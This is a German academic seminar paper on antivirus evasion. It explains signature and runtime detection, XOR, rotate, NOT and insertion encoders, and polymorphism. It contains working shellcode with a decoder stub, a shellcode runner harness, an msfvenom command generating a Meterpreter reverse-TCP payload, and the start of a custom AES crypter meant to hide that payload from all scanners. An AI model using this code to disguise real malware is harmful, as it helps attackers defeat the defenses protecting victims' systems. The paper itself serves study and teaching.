Ausarbeitung Seminar

Größe: px
Ab Seite anzeigen:

Download "Ausarbeitung Seminar"

Transkript

1 Fakultät Informatik Ausarbeitung Seminar Über das Thema Autor: Prüfer: Birk Kauer Prof. Dr. Hellmann Abgabedatum:

2 INHALTSVERZEICHNIS II Inhaltsverzeichnis II Inhaltsverzeichnis I II Abbildungsverzeichnis III Tabellenverzeichnis IV Listing-Verzeichnis V Abkürzungsverzeichnis III IV IV V 1 Einleitung Motivation Ziel der Arbeit Vorgehen Geschichte 2 3 Antiviren Systeme Signatur basierende Erkennung Runtime Erkennung Virtualisierung System Hooks Encoder & Decoder Stub Rotate NOT XOR Insertion Theorie Praxis Verketten Polymorphie Skript Sprachen Proof of Concept Vorbereitung Virus Total Meterpreter Test Crypter AES AES Brute-Force in Memory Test Birk Kauer Seite I

3 INHALTSVERZEICHNIS 5 Fazit 21 6 Quellenverzeichnis 22 Anhang I Birk Kauer Seite II

4 VERZEICHNISSE II Abbildungsverzeichnis Abb. 1 Marktanteil Antiviren Systeme Januar Abb. 2 Meterpreter Test Scan Abb. 3 Meterpreter Connection Abb. 4 VirusTotal AES Birk Kauer Seite III

5 VERZEICHNISSE III Tabellenverzeichnis Tab. 1 Wahrheitstabelle NOT( ) Tab. 2 Wahrheitstabelle XOR( ) Tab. 3 Polymorphie Encoder IV Listing-Verzeichnis Lst. 1 Rotate Encoder Lst. 2 Rotate Decoder Lst. 3 Programm Rotate Encoder Lst. 4 Programm XOR Encoder Lst. 5 C++ Gerüst Lst. 6 Insertion-Encoder/Insertion-Encoder.py Lst. 7 Ausgabe Insertion-Encoder.py Lst. 8 Insertiondecoder.nasm [1] Lst. 9 Decoded Shellcode Lst. 10äquivalente Instruktionen Lst. 11Müll Instruktionen Lst. 12AES Crypter Lst. 13AES Verschlüsselt Lst. 14AES Brute-Force Birk Kauer Seite IV

6 VERZEICHNISSE V Abkürzungsverzeichnis BIT Stellt eine 1 oder 0 dar im Binär System BYTE Ein 8 BIT großes Wort WORD Ein 16 Bit/2 Byte großes Wort DWORD Ein 32 Bit/4 Byte großes Wort(Double WORD) JMP Assembler: Sprung an eine Stelle im Adressbereich MOV Assembler: Schreibt einen Wert oder den Wert einer Adresse/Register in einen Register RCL Assembler: Rotate mit Carry Flag auf Links RCR Assembler: Rotate mit Carry Flag auf Rechts PUSH Assembler: Schreibt den Wert auf den Stack und verringert den ESP Pointer POP Assembler: Löscht den letzten Eintrag auf dem Stack und schreibt ihn in den Übergebenen Register; ESP + 1 RET Assembler: Poped(POP) die Return Adresse von dem Stack und springt dort hin CALL Assembler: Aufruf einer Funktion. Die Eigene Adresse + 1 wird auf den Stack gepusht(push) und erwartet am Ende der Funktion ein RET Entry-Point Einstiegs Adresse eines Programmes Opcodes Die Hexadezimal Nummer eines Maschinenbefehls z.b. EB für Shortjump Shellcode Eine aneinander Reihung vonopcodes, welche ein kleines Programm ergeben Birk Kauer Seite V

7 Kapitel 1 Einleitung 1 Einleitung Diese Arbeit beschäftigt sich mit dem Thema Antiviren-avoidance (kurz: ). Dabei wird auf die verschiedene Wege eingegangen, um Antiviren Programme zu umgehen ohne die eigentlichen Programme in ihrer Logik zu verändern. Dabei beginnt diese Arbeit mit den anfänglichen Techniken und endet bei aktuelleren Methoden. 1.1 Motivation Mein persönliches Interesse an immer weiter entwickelten Methoden die Programmierer solcher Programme auszutricksen. Diese Arbeit beinhaltet auch eine Methode, welche nicht öffentlich zugänglich ist und daher einmal niedergeschrieben werden sollte. 1.2 Ziel der Arbeit Es sollte für Informatiker wichtig zu Wissen sein, dass das reine Schützen durch Antiviren Programme nicht mehr ausreichend Sicher ist. Für ein sicheres System muss noch viel mehr gemacht werden, als sich Blind auf Antiviren Hersteller zu verlassen. Antiviren Programme können den größten Teil an Viren abfangen können aber nicht den neuesten Markt abdecken. Die Arbeit soll verschiedene Methoden aufzeigen diese Antiviren Programme auszutricksen. 1.3 Vorgehen Die Arbeit ist zeitlich gegliedert. Dies bedeutet sie fängt mit dem ersten Aufkommen von Antiviren Programmen an und arbeitet sich zeitlich über die älteren Methoden bis zu aktuellen Methoden. Wichtig hierbei ist, dass in dieser Arbeit nicht jede Methode beschrieben werden kann. Es werden nur die Methoden aufgeführt welche mir selber bekannt sind und ich als hilfreich empfunden habe. Diese Arbeit ist sehr detailliert im Assembler Bereich. Zur Hilfe wird ein Assembler Befehlssatz im Anhang hinzugefügt. Birk Kauer Seite 1

8 Kapitel 3 Geschichte 2 Geschichte Als in den 80er Jahren die ersten Viren aufkamen (nicht alle waren schädlich) wurde der Bedarf an Antiviren Programmen immer größer. Die ersten Antiviren Programme hatten damals sehr primitive Algorithmen zur Erkennung von bösartigen Programmen. Es wurde oft nur einfaches Pattern-Matching verwendet und meistens auch nur im Header des Programms. Durch die Jahre verbesserten sich die Erkennungsalgorithmen durch die immer trickreicher werdenden Umgehungsstrategien der Viren-Hersteller. Heutzutage bringen Antiviren Programme weit mehr mit als einfaches Pattern-Matching. Die meisten haben ihre komplett eigene Sandbox um möglichen Schadcode vorher in der Sandbox auszuführen und erkennen dadurch mögliches bösartiges Verhalten. 3 Antiviren Systeme Zum Einstieg eine Statistik des Marktanteils von verschiedenen Antiviren Systemen unter Windows im Januar 2015: Abbildung 1: Marktanteil Antiviren Systeme Januar Der Balken Andere der Abbildung 1 zeigt wie viele Verschiedene Antiviren Hersteller auf dem Markt sind und wie stark dieser umkämpft ist. Bei solch zahlreichen Unterschiedlichen Antiviren Systeme ist es klar, dass nicht alle genau gleich funktionieren und sich einige Antiviren Systeme von den anderen Absetzen können. Dabei muss bei den Syste- 2 Quelle: marktanteil-der-anbieter-von-windows-antiviren-anwendungen/ Birk Kauer Seite 2

9 Antiviren Systeme men zwischen den verschiedenen Erkennungsfeatures unterscheiden, welche die Systeme aufweisen. 3.1 Signatur basierende Erkennung Diese Methode beherrschen alle vollwertigen Antiviren Systeme. Es werden Signaturen von bösartigen Programmen in einer Datenbank gespeichert und falls ein Programm diese Signatur aufweist ist es ein mögliches Schadprogramm. Diese Art der Erkennung wird bei dem Scan einer nicht ausgeführten Datei verwendet. 3.2 Runtime Erkennung Hierbei geht es um die Erkennung von Bösartigem Code während er ausgeführt wird bzw. im Hauptspeicher arbeitet. Bei dieser Methodik unterscheiden sich die Meisten Antiviren- Hersteller, da dieses Thema sehr Komplex ist. Generell ist es schwer Aussagen über die Methoden zu machen, da die Antiviren Hersteller dies unter Verschluss halten, weil sie sich damit von der Konkurrenz in der Erkennungsrate absetzen Virtualisierung Es gibt Antiviren Hersteller, die auf das virtualisieren der ausführbaren Datei setzen. Bedeutet, sobald die Datei gescannt wird, kommt sie in eine Art Sandboxed Umgebung, wo alle Operationen des Schadcodes virtualisiert werden. So lässt sich z. B. der Versuch eine Verbindung zu einem anderen Rechner simulieren und je nach Datenaustausch als bösartig oder nicht einstufen System Hooks Der Versuch von Antiviren Systeme mögliche bösartige Systemaufrufe abzufangen. Hierbei wird der Systemaufruf von einer Methode des Antiviren Programms überschrieben, wo die Funktion Parameter an das Antiviren Programm zurückliefet und danach erst den originalen Systemaufruf ausführt. Bei einer möglichen Erkennung könnte so das Antiviren Programm den Aufruf unterbrechen und das System von der Bedrohung bereinigen. Als Beispiel benutzt die Meterpreter Payload für das Kommando migrate die ReadProcessMemory und WriteProcessMemory Funktion um sich in den Speicher von anderen Anwendungen zu schreiben und dort wieder Auszuführen. Diese Systemcalls werden von einigen Antivir Systemen mit System Hooks überwacht. Birk Kauer Seite 3

10 4 Die ersten Möglichkeiten die Erkennung eines Antiviren Programms zu verhindern, war das einfache Verändern von Header Einträgen(Meta-Daten) in den jeweiligen Viren. Dies bedeutet Antiviren Hersteller haben früher Pattern-Matching auf z. B. Namen von Autoren/Kompilierungszeitpunkt oder andere Meta-Daten, welche miteinander Korreliert worden sind, verwendet. Da die Meta-Daten technisch gesehen nichts mit der Ausführung des Codes zu tun haben, konnten diese einfach durch z. B. ein Bitflip verändert werden und die Antiviren Programme haben nichts mehr erkannt. 4.1 Encoder & Decoder Da auch die Antiviren Hersteller merkten, wie einfach ihr Produkt zu umgehen war implementierten sie das Pattern-Matching auch auf die Code und Data Sektion einer Ausführbaren Datei. Somit wurden nicht nur noch Meta-Daten-Pattern in der Datenbank gespeichert, sondern auch Code oder Data-Blöcke aus dem Programm. Je nach Antivirus wurden die Blöcke gehasht oder mit anderen Techniken verglichen. Abhilfe für die Viren Hersteller wurden dann Encoder und Decoder. Ein Encoder verschlüsselt dem ihm gegeben Text/Hex/Binär mit der jeweiligen Technik. So wird ein Virus vor der Auslieferung fast komplett verschlüsselt durch einen Encoder. Das Entschlüsseln übernimmt dann der Stub Stub Ein Stub ist eine Art Unterprogramm welches von dem Virus Hersteller oder Verteiler hinzugefügt wird. Es ist eines der ersten Aktionen, welches dann ein Virus ausführt. In diesem Stub sind Decoder verborgen, welche den ausführbaren Programmcode zurück entschlüsseln. Oft erkennt man einen Stub daran, dass kurz nach dem Entry-Point eines Programms einen far Jump(JMP) oder CALL an eine weit entfernte Adresse in dem Programm springt um dort dann das Programm zu entschlüsseln. Nach dem erfolgreichen Entschlüsseln springt der Stub zurück an den Anfang des Programms kurz nach dem eigenen Jump oder CALL. Dies passiert via einem Jump oder der Return(RET) Instruktion. Wichtig ist auch, dass der Bereich in den der Stub schreibt, beschreibbar ist. Dies ist auch zu einem Späteren Zeitpunkt noch änderbar selbst nach der vollständigen Kompelierung Rotate Rotate bietet sich als einfacher Encoder an, da keine Informationen beim Rotieren eines BYTE oder DWORD verloren geht. Birk Kauer Seite 4

11 z. B. bei einem Byte von (\x81 in Hexadezimaler schreibweiße) wird mit dem Assembler Befehlssatz von RCL und MOV: 1 MOV EAX, 81 RCL EAX Listing 1: Rotate Encoder Ein Byte mit um das ganze wieder in den Ursprungszustand zu setzen benutzt man die Komplementär Funktion RCR RCR EAX Listing 2: Rotate Decoder und das Byte ist wieder im Ursprungszustand: Damit kann sich einfach der Komplette Programm Code verschlüsselt werden. 1 MOV EAX, Start Adresse des Encoders : L1 Sprung Marke ( Loop ) 3 RCL BYTE PTR DS :[ EAX ] Rotiert das Byte an der Pointer Adresse EAX INC EAX Inkrementiert EAX um 1 5 CMP EAX, Schreibt in ein Flag das Ergebniss Adresse - EAX JLE L1 Springe zu L1 wenn Flag kleiner gleich 0 ist 7 RET Beende die Funktion Listing 3: Programm Rotate Encoder Der Decoder Stub funktioniert analog, es ändert sich nur das RCL zu RCR NOT Die NOT Funktion oder das negieren (, ) eignet sich sehr gut zum verschleiern von einem Programmcode, da durch eine weitere Negation der Ursprungswert wieder hergestellt wird. die Wahrheitstabelle der NOT funktion sieht folgendermaßen aus: Angenommen es soll ein short JMP verschleiert werden welches als hex dargestellt wird mit \xeb \x04. EB ist hierbei die Instruktion für den Short Jump und 04 beschreibt wie viele Bytes in Birk Kauer Seite 5

12 A A Tabelle 1: Wahrheitstabelle NOT( ) welche Richtung gesprungen wird. Ist die zweite Hexadecimal Zahl größer als 7F so wird Rückwärts gesprungen. Wird jetzt auf EB( ) der NOT Operator angewendet so erhält man in Hexadezimal 14( ) welches im jeweiligen Kontext für den Processor keinen Sinn mehr ergibt und das Programm in diesem Status abstürzen würde. Genauso sahen es ältere Antiviren Systeme und konnten daher auch keinen Möglichen Schadcode erkennen XOR Die XOR Funktion oder wurde lange Zeit benutzt um Programme zu Verschleiern. Man Nehme A B und daraus entsteht die Wahrheitstabelle: A B A B Tabelle 2: Wahrheitstabelle XOR( ) Wird nun als Beispiel bei der Operation ein Byte in Hexadezimal (\x01) und mit dem Key Hexabyte (\x1f) logisch verodert so entsteht das verschlüsselte Byte(\x1E). Wird dieses verschlüsselte Byte nun wieder mit dem gleichen Key logisch verodert so entsteht das Ausgangs Byte (\x01). Der Aufbau eines kompletten En oder Decoder ist Identisch zum Rotate Algorithmus. 1 MOV EAX, Start Adresse des Encoders : L1 Sprung Marke ( Loop ) 3 XOR BYTE PTR DS :[ EAX ],1 F XOR mit Key 1 F auf EAX INC EAX Inkrementiert EAX um 1 5 CMP EAX, Schreibt in ein Flag das Ergebniss Adresse - EAX JLE L1 Springe zu L1 wenn Flag kleiner gleich 0 ist 7 RET Beende die Funktion Listing 4: Programm XOR Encoder Birk Kauer Seite 6

13 4.1.5 Insertion Beim Insertion En/Decoder werden keine arithmetischen Funktionen mehr benutzt sondern man greift zum Einfügen und Entfernen von sogenannten Müllbytes. Um das Beispiel von En/Decodern näher zu bringen wird es zum Insertion Encoder einen theoretischen und einen komplett Praktischen Teil geben, welcher die Benutzung veranschaulichen soll Theorie Wie bei den vorherigen Techniken wird auch beim Insertion Encoder versucht zu verhindern, dass ein Antiviren das Programm versteht ohne dies auszuführen (normaler Scan). So versucht man hier jedes zweite Byte mit einem Müllbyte zu versehen. Dieses Müllbyte kann jedes denkbare Byte wie z. B. \xaa oder \xbb etc. Somit wird aus einem Array von Bytes [\xeb\x43\x48] mit dem Müllbyte von \xaa dieses Array [\xeb\xaa\x43\xaa\x48\xaa]. Jetzt wird noch eine Markierung für den Decoder benötigt, damit er rechtzeitig aufhört bevor er beim zusammensetzen weiter Bytes mit reinbringt. Zur Markierung eignet sich jedes Byte, welches nicht \xaa ist. Warum sich jedes Byte eignet außer das \xaa Byte wird im praktischen Teil genau erklärt, da hier ein kleiner Trick angewandt wird. Das abschließende Array sieht dann so aus [\xeb\xaa\x43\xaa\x48\xaa\xbb] mit dem markierenden Abschlussbyte \xbb Praxis Damit es möglich ist, jeden geschriebenen Shellcode sicher in der eigenen Virtuellen Maschine oder ähnlichen Testumgebungen sicher auszuführen und zu Testen benutzt man ein C++ Gerüst, welches den Shellcode sicher im Hauptspeicher platziert und ausführt. Das C++ Gerüst sieht wie folgt aus: 1 # include <stdio.h> # include < string.h> 3 char code [] = " Shellcode in Bytes "; 5 7 { int main () printf (" len :%d bytes \n", strlen ( code )); 9 (*( void (*)()) code )(); return 0; 11 } Listing 5: C++ Gerüst 3 3 Quelle: Birk Kauer Seite 7

14 In das Code Array wird der Shellcode geschrieben, mit der Anweisung (*(void(*)()) code)(); in den Hauptspeicher geladen und ausgeführt. Dies ist eine oft genutzte Möglichkeit seinen Shellcode zu testen und auszuführen. Eine Beispiel Quelle, wi ein solcher Source Code zu finden ist ist in der Fußzeile verlinkt. Solche Code Skelette werden aber auf fast allen Shellcoding Seiten gefunden. Als Beispiel Shellcode wird der von vorgegebene Shellcode von [Dad org/shellcode/files/shellcode-806.php] (27 Bytes) verwendet, welcher eine neue /bin/sh mit einem System call aufruft. Dazu sollte gesagt werden, dass nicht allen Shellcodes im Internet getraut werden darf(einige bringen auch System calls wie rm -r / mit sich). Dieser Code ist aber in Ordnung und für die Zwecke dieser Arbeit perfekt. Der 27 Byte große Shellcode der Seite wird nun in einem Python script [1] Encoded: 1 #!/ usr / bin / python # Python Insertion Encoder 3 shellcode = ("\ x31 \ xc0 \ x48 \ xbb \ xd1 \ x9d \ x96 \ x91 \ xd0 \ x8c \ x97 \ xff \ x48 \ xf7 \ xdb \ x53 \ x54 \ x5f \ x99 \ x52 \ x57 \ x54 \ x5e \ xb0 \ x3b \ x0f \ x05 ") 5 encoded = "" 7 print Encoded Shellcode 9 for x in bytearray ( shellcode ) : 11 encoded += 0x encoded += %02x, %x 13 encoded += 0x %02x, % 0 xaa 15 print encoded print Len : %d % len ( bytearray ( shellcode )) Listing 6: Insertion-Encoder/Insertion-Encoder.py Ausgabe des Encoders mit dem Müllbyte \xaa: Encoded S h e l l c o d e 2 0x31, 0 xaa, 0 xc0, 0 xaa, 0 x48, 0 xaa, 0 xbb, 0 xaa, 0 xd1, 0 xaa, 0 x9d, 0 xaa, 0 x96, 0 xaa, 0 x91, 0 xaa, 0 xd0, 0 xaa, 0 x8c, 0 xaa, 0 x97, 0 xaa, 0 x f f, 0 xaa, 0 x48, 0 xaa, 0 xf7, 0 xaa, 0 xdb, 0 xaa, 0 x53, 0 xaa, 0 x54, 0 xaa, 0 x5f, 0 xaa, 0 x99, 0 xaa, 0 x52, 0 xaa, 0 x57, 0 xaa, 0 x54, 0 xaa, 0 x5e, 0 xaa, 0 xb0, 0 xaa, 0 x3b, 0 xaa, 0 x0f, 0 xaa, 0 x05, 0 xaa, Listing 7: Ausgabe Insertion-Encoder.py Birk Kauer Seite 8

15 Es ist nun erkennbar, dass jedes zweite Byte das Nullbyte ist und somit der Signatur Scanner eines Antivirus diese Abfolge als nicht bösartig erkennt. Auch dieser Encoder braucht einen sogenannten Stub um die Byte-folge wieder in die ursprüngliche Reihenfolge zu bringen. Auch hier wird wieder ein Stub zum Decoden der Byte Folge zur Laufzeit gebraucht. Insertion-Decoder-Stub.nasm: ; Filename : insertion - decoder. nasm 2 ; Author : Vivek Ramachandran ; Website : http :// securitytube. net 4 ; Training : http :// securitytube - training. com 6 ; Entry - Point wird auf _ start : gelegt global _ start 8 ; Text Section 10 section. text 12 ; Entry - Point _start : 14 ; F ü r Relatives Addressing REL wird der String ü bersprungen 16 jmp decoder 18 ; Hier passiert ein kleiner Trick f ü r Relatives Adressieren in 64 Bit : ; Der Shellcode wird oberhalb des Decoders geschrieben, 20 ; damit der Shellcode Relativ zu RIP oberhalb liegt. ; W ü rde der Shellcode unterhalb von RIP liegen, so w ü rden 0 x00 Bytes 22 ; entstehen, welche allgemein immer beim Senden ; von Shellcode vermieden werden sollte. 24 ; Dadurch, dass der Shellcode oberhalb liegt ergeben sich ; negative Sprung Adressen welche dann anstatt 0 x00 mit 0 xff anfangen. 26 encoded_shellcode : db 0x31,0 xaa,0 xc0,0 xaa,0 x48,0 xaa,0 xbb,0 xaa,0 xd1,0 xaa,0 x9d,0 xaa,0 x96,0 xaa,0 x91,0 xaa,0 xd0,0 xaa,0 x8c,0 xaa,0 x97,0 xaa,0 xff,0 xaa,0 x48,0 xaa,0 xf7,0 xaa,0 xdb,0 xaa,0 x53,0 xaa,0 x54,0 xaa,0 x5f,0 xaa,0 x99,0 xaa,0 x52,0 xaa,0 x57,0 xaa,0 x54,0 xaa,0 x5e,0 xaa,0 xb0,0 xaa,0 x3b,0 xaa,0 x0f,0 xaa,0 x05,0 xbb,0 xbb,0 xbb 28 ; Hier ist zu beachten, dass die 3 Letzten Bytes 0 xbb 30 ; einfach nur Markier Bytes sind, dass der Decoder korrekt abbricht. ; Ansicht ist nur das erste 0 xbb wichtig. Die 2 weiteren 0 xbb werden 32 ; f ü r padding verwendet. Birk Kauer Seite 9

16 34 ; Sprung Punkt zum Startzustand des Decoders. decoder : 36 ; Relatives Adressieren der Adresse des Shellcodes in RSI 38 lea rsi, [ rel encoded_ shellcode ] ; RDI zeigt auf die zweite Stelle des Shellcodes - > 0 xaa 40 lea rdi, [ rsi +1] ; RAX wird zu 0 42 xor rax, rax ; Schreibt eine 1 in RAX 44 mov al, 1 ; RBX wird zu 0 46 xor rbx, rbx 48 decode : ; Holt das Byte + RAX aus dem Shellcode in RBX 50 mov bl, byte [ rsi + rax ] ; Setzt die Zero flag falls RBX XOR 0 xaa 0 ergbiebt 52 xor bl, 0 xaa ; Falls das Zero Flag nicht gesetzt ist springe zum Shellcode 54 jnz short encoded_ shellcode ; Andernfalls hohle das Byte aus RSI + RAX + 1 in RBX 56 mov bl, byte [ rsi + rax + 1] ; Ersetze das Byte worauf RDI zeigt ( immer 0 xaa ) mit RBX 58 mov byte [ rdi ], bl ; Erh öhe RDI um 1 60 inc rdi ; Erh öhe RAX um 2( Zeigt auf das nä chste 0 xaa ) 62 add al, 2 ; springe wieder zu decode ( Schleife ) 64 jmp short decode Listing 8: Insertiondecoder.nasm [1] Nachdem das Decoden des Shellcodes fertig ist und xor bl, 0xaa auf 0xbb trifft so wird das Ergebnis nicht mehr 0 sein und der jump geht auf den Shellcode und führt in aus. Der Shellcode sollte zu diesem Zeitpunkt so aussehen: 0x31, 0 xc0, 0 x48, 0 xbb, 0 xd1, 0 x9d, 0 x96, 0 x91, 0 xd0, 0 x8c, 0 x97, 0 x f f, 0 x48, 0 xf7, 0 xdb, 0 x53, 0 x54, 0 x5f, 0 x99, 0 x52, 0 x57, 0 x54, 0 x5e, 0 xb0, 0 x3b, 0 x0f, 0 x05, 2 0xaa, 0 xdb, 0 xaa, 0 x53, 0 xaa, 0 x54, 0 xaa, 0 x5f, 0 xaa, 0 x99, 0 xaa, 0 x52, 0 xaa, 0 x57, 0 xaa, 0 x54, 0 xaa, 0 x5e, 0 xaa, 0 xb0, 0 xaa, 0 x3b, 0 xaa, 0 x0f, 0 xaa, 0 x05, 0 xbb, Listing 9: Decoded Shellcode Birk Kauer Seite 10

17 Die ersten 27 Bytes wurden nun überschrieben und können ausgeführt werden. Dadurch, dass der Shellcode eine neue Shell aufruft, wird der Rest bzw. der Müll ignoriert und nicht ausgeführt Verketten Natürlich ist es möglich alle Arten des En- und Decoden hintereinander zu verketten um somit die Erkennung zu erschweren. Z. B. ROT AT E NOT XOR Polymorphie Durch die Möglichkeit, auf die genannten Decoder Stubs Signaturen zu erstellen können Antiviren Systeme diese Decoder genau erkennen. Somit ist es egal wie gut der komplette Shellcode verschleiert ist können Antiviren Systeme allein an dem geschriebenen Decoder- Stub mögliche Viren erkennen. Die Idee hinter Polymorphie ist es, jede verwendete Instruktion mit einer äquivalenten zu ersetzen. Z.B. die Instruktion welche benutzt wird um Register zu nullen: XOR RAX, RAX 2 ;wü rde in der Form MOV RBX, RAX 4 SUB RAX, RBX ; genau das gleiche Verursachen : RAX register wird genullt 6 ; Als zweites Beispiel der PUSH von RAX auf den Stack 8 PUSH RAX ;Ä quivalent wäre: 10 MOV QWORD [ RSP -8], RAX SUB RSP, 8 Listing 10: äquivalente Instruktionen Es ist genauso möglich zwischen den Instruktionen Müll Operationen einzufügen, welche keine Auswirkung auf die Ausführung des Programms hat. 1 ; Vor XOR RAX, RAX Instruktionen einsetzen wie 3 ADD RAX,1 INC RAX 5 SUB RAX ; Denn egal, was vor XOR RAX, RAX passiert hat keine Auswirkung Birk Kauer Seite 11

18 7 XOR RAX, RAX Listing 11: Müll Instruktionen Durch das ersetzen solcher Instruktionen mit Äquivalenten oder Müll Operationen kann jede neue Ausführbare Datei einzigartig gemacht werden und somit das setzen von Signaturen sehr erschwert und nahezu unmöglich. Es gibt auch mehrere Encoder, welche dies Automatisch übernehmen: Encoder CLET ADMutate VX Heavens Mirror Shikata ga nai URL Metasploit-Framework Encoder Tabelle 3: Polymorphie Encoder Es gibt auch die Idee des Meta-Assemblers, welcher bei jeder neuen Code Erstellung andere Register für seine Zwecke verwendet. also statt RAX wird nun für das hin und her kopieren RBX verwendet oder andere verfügbare Register. 4.2 Skript Sprachen Der Anstieg der Verwendung von Skript Sprachen wie Python, Ruby und Perl laut TIO- BE index erleichtert vielen System-Administratoren oder Programmieren die Automatisierung der Aufgaben im Netzwerk. Seit der Einführung von Powershell und der vorab Installation in Windows 7 benutzen auch immer mehr die Möglichkeit mit Powershell zu arbeiten. Antiviren Systeme sind aber dieser Entwicklung hinterher und betrachten die geschriebenen Skripte sehr häufig als keine Gefahr. Selbst sehr bekannte bösartige Shellcodes werden innerhalb von z. B. Powershell Skripten nicht betrachtet. Dies zeigt vor allem das Veil-Framework (https://www.veil-framework.com/), welches Skript Sprachen unter anderem auch benutzt. 4.3 Proof of Concept Zur Demonstration, dass es möglich ist alle aktuellen Antiviren Programme mit Verschleierung des Shellcodes zu überlisten, wurde der folgende Proof of Concept von dem Hyperion Crypter[http://nullsecurity.net/tools/binary.html] Concept mit AES zu verschlüsseln Inspiriert. Der folgende Code wurde von mir persönlich Programmiert unter Birk Kauer Seite 12

19 der Verwendung der Crypto++ Bibliothek. Das Ziel dieser Arbeit war es, die womöglich bekannteste Shellcode Payload (Meterpreter) komplett unsichtbar für die Antiviren Systeme zu machen Vorbereitung Virus Total Um das Konzept an möglichst vielen Antiviren Systemen zu testen wurde die Webseite ausgewählt. Virus Total benützt ca der aktuellen Antiviren Systeme von verschiedenen Herstellern um Dateien, welche auf die Seite hochgeladen wurden zu testen und dem Benutzer als Rückmeldung alle Resultate der Antiviren Systeme zeigt. Virus Total besitzt auch ca 2-3 Scanner, welche die Datei zur Laufzeit testen Meterpreter Die Meterpreter payload ist seit langem in dem Metasploit-Framework[http: //www.metasploit.com/] vorhanden. Sie ist eine der mächtigsten Payloads im Repertoire von Metasploit und wird von den meisten Antiviren Herstellern erkannt. Eine Übersicht, was Meterpreter leisten kann, finde sie hier [http://www.offensive-security. com/metasploit-unleashed/meterpreter_basics] Test Um Referenzwerte zu bekommen wird Meterpreter aus dem Metasploit- Framework erzeugt und auf VirusTotal hochgeladen. Um eine Meterpreter Payload zu erzeugen wird msfvenom verwendet, welches der neue Payload Generator im Metasploit-Framework ist. Bash Command: # msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1337 -b \x00 -f exe > test.exe Die Analyse der erstellten Executable auf VirusTotal zeigt folgendes Bild: Abbildung 2: Meterpreter Test Scan Birk Kauer Seite 13

20 Hier ist zu erkennen, dass 36 der 57 verwendeter Antiviren Systeme die erstellter Executable als bösartig erkannt haben. Also haben 80 Prozent der verwendeten Scanner das richtige Resultat geliefert. Die anderen 20 Prozent konnten dies nicht erkennen, was vielleicht zurückzuführen ist, dass msfvenom automatisch den bereits genannten polymorphen Crypter Shikata ga nai verwendet. Da aber immer der gleiche Shellcode verwendet wird, soll dies nicht stören und die Ergebnisse bleiben dadurch unverfälscht. Die Vorkehrungen für den Test sind somit gesteckt und das Ziel ist es, die 36 übrigen Antiviren Systeme zu überlisten Crypter AES Der Crypter übernimmt die initiale Verschlüsselung des Shellcodes via AES und liefert den verschlüsselten Shellcode für die eigentliche Anwendung. Der Shellcode wird auf der Kommandozeile geliefert, sowie auch in eine cipher.txt in den derzeitigen Ordner schreibt. Source Code des Crypters: # include " stdafx.h" #if defined ( WIN32 ) 4 # include < windows.h> # endif 6 # include < iostream > 8 # include < string > # include < fstream > 10 # include " hex.h" # include " aes.h" 12 # include " filters.h" # include " modes.h" 14 # include " files.h" # include " integer.h" using namespace CryptoPP ; 20 using namespace std ; 22 // CONFIG // // SHELLCODE FILL UP WITH atleast 4 x \ xbb as Markerbytes and get the Aligment right strlen ( Char ) mod 2 = 1 is wrong! 26 Birk Kauer Seite 14

21 const char code [] = "\ xbb \ xf3 \ xd7 \ xdc \ x8f \ xda \ xd3 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b \ xc9 \ xb1 " 28 "\ x4b \ x31 \ x58 \ x15 \ x03 \ x58 \ x15 \ x83 \ xc0 \ x04 \ xe2 \ x06 \ x2b \ x34 \ x0d " "\ xe8 \ xd4 \ xc5 \ x72 \ x61 \ x31 \ xf4 \ xb2 \ x15 \ x31 \ xa7 \ x02 \ x5e \ x17 \ x44 " 30 "\ xe8 \ x32 \ x8c \ xdf \ x9c \ x9a \ xa3 \ x68 \ x2a \ xfc \ x8a \ x69 \ x07 \ x3c \ x8c " "\ xe9 \ x5a \ x10 \ x6e \ xd3 \ x94 \ x65 \ x6f \ x14 \ xc8 \ x87 \ x3d \ xcd \ x86 \ x35 " 32 "\ xd2 \ x7a \ xd2 \ x85 \ x59 \ x30 \ xf2 \ x8d \ xbe \ x81 \ xf5 \ xbc \ x10 \ x99 \ xaf " "\ x1e \ x92 \ x4e \ xc4 \ x17 \ x8c \ x93 \ xe1 \ xee \ x27 \ x67 \ x9d \ xf1 \ xe1 \ xb9 " 34 "\ x5e \ x5d \ xcc \ x75 \ xad \ x9c \ x08 \ xb1 \ x4e \ xeb \ x60 \ xc1 \ xf3 \ xeb \ xb6 " "\ xbb \ x2f \ x7e \ x2d \ x1b \ xbb \ xd8 \ x89 \ x9d \ x68 \ xbe \ x5a \ x91 \ xc5 \ xb5 " 36 "\ x05 \ xb6 \ xd8 \ x1a \ x3e \ xc2 \ x51 \ x9d \ x91 \ x42 \ x21 \ xb9 \ x35 \ x0e \ xf1 " "\ xa0 \ x6c \ xea \ x54 \ xdd \ x6f \ x55 \ x08 \ x7b \ xfb \ x78 \ x5d \ xf6 \ xa6 \ x14 " 38 "\ x92 \ x3a \ x59 \ xe5 \ xbc \ x4d \ x2a \ xd7 \ x63 \ xe5 \ xa4 \ x5b \ xeb \ x23 \ x32 " "\ x9b \ xc6 \ x93 \ xac \ x62 \ xe9 \ xe3 \ xe5 \ xa0 \ xbd \ xb3 \ x9d \ x01 \ xbe \ x58 " 40 "\ x5e \ xad \ x6b \ xce \ x0e \ x01 \ xc4 \ xae \ xfe \ xe1 \ xb4 \ x46 \ x15 \ xee \ xeb " "\ x76 \ x16 \ x24 \ x84 \ x1c \ xec \ xaf \ x6b \ x48 \ xee \ x10 \ x04 \ x8a \ xef \ x6b " 42 "\ xed \ x03 \ x09 \ x19 \ x1d \ x45 \ x81 \ xb6 \ x84 \ xcc \ x59 \ x26 \ x48 \ xdb \ x27 " "\ x68 \ xc2 \ xe9 \ xd8 \ x27 \ x23 \ x98 \ xca \ x50 \ x0c \ x62 \ x13 \ xa1 \ x19 \ x62 " 44 "\ x79 \ xa5 \ x8b \ x35 \ x15 \ xa7 \ xea \ x71 \ xba \ x58 \ xd9 \ x02 \ xbd \ xa7 \ x9c " "\ xed \ xb5 \ x9e \ x0a \ xad \ xa1 \ xde \ xda \ x2d \ x32 \ x89 \ xb0 \ x2d \ x5a \ x6d " 46 "\ xe1 \ x7e \ x7f \ x72 \ x3c \ x13 \ x2c \ xe7 \ xbf \ x45 \ x80 \ xa0 \ xd7 \ x6b \ xff " "\ x87 \ x77 \ x94 \ x2a \ x94 \ x70 \ x6a \ xab \ x58 \ x81 \ xa9 \ x7a \ x99 \ xf7 \ xc4 " 48 "\ xbe \ x9e \ x08 \ xa3 \ xe3 \ xb7 \ x82 \ xcb \ xb0 \ xc8 \ x86 \ 